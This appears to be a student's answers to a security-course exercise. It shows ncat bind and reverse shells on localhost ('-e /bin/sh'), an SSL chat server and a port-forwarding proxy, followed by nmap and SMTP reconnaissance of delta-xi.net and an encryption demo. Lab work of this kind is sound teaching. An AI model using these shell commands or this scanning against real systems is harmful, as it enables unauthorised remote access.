Exercise 4

Abd El Rahaman Shehata

Exercise 4

1

1.1

- Server

```
ncat -lp 8080 -e /bin/sh
```

- Client

```
ncat localhost 8080
pwd
```

1.2

- Server

```
ncat -lp 8080
pwd
```

- Client

```
ncat localhost 8080 -e /bin/sh
```

1.3

Yes, but the `/bin/sh` has to be changed to `pw.exe` on Windows to be able to execute PowerShell commands

1.4

```
-u, --udp Use UDP instead of default TCP
```

Bind-shell works but reverse-shells don't

2

Server

```
ncat --ssl --allow 127.0.0.1 --chat -o 'chat.log'  -lkp 4000
```

```
-l, --listen               'Bind and listen for incoming
 ↪  connections'
-p, --source-port port     'Specify source port to use'
-k, --keep-open            'Accept multiple connections in listen
 ↪  mode'
-o, --output <filename>    'Dump session data to a file'
--ssl                   'Connect or listen with SSL'
--allow                 'Allow only given hosts to connect to
 ↪  Ncat'
--chat                  'Start a simple Ncat chat server'
```

Client

```
ncat --ssl localhost 4000
```

3

```
while $(ncat -lp 8080 -c 'ncat localhost 80'); do
    true;
done
```

Is a proxy that forwards each request from port 8080 to port 80

4

Doesn't work

5

- Which ports are used for SSH? The default port 22 and 8192

  ```
  nmap delta-xi.net -A | grep ssh
  ```

  ```
  22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3 (Ubuntu Linux;
   ↪  protocol 2.0)
  8192/tcp open ssh OpenSSH 8.9p1 Ubuntu 3 (Ubuntu Linux;
   ↪  protocol 2.0)
  ```

- What's the RSA public key for SSH?

  ```
  nmap -script 'ssh-hostkey' delta-xi.net
  ```

  ```
  | ssh-hostkey:
  ```

```
|   256 0ffa22a64fd47aa5928a7bd850abf757 (ECDSA)
|_  256 0bd869e3131da13aac7851283bea6e67 (ED25519)
```

- When does the IMAP certificate expire?

```
nmap -p 993 -sC delta-xi.net

_Not valid after:  2022-10-29T18:46:53
```

- For which domain, other than delta-xi.net, does the host accept e-mails for? Every subdomain. (*.delta-xi.net)
- What's the welcome message the SMTP server provides?

```
ncat -C mail.delta-xi.net 587

220 [ delta-xi.net ] Iniquity divine.
Helo abou.shehata643@yahoo.de
250 delta-xi.net
```

6

```
echo -n "hello world" | cargo run -- -key key.txt -enc

Encrypted: 0RqJwHYOzYMUJNBZ/IMqJA==

echo "0RqJwHYOzYMUJNBZ/IMqJA==" | cargo run -- -key key.txt -dec

Decrypted: hello world
```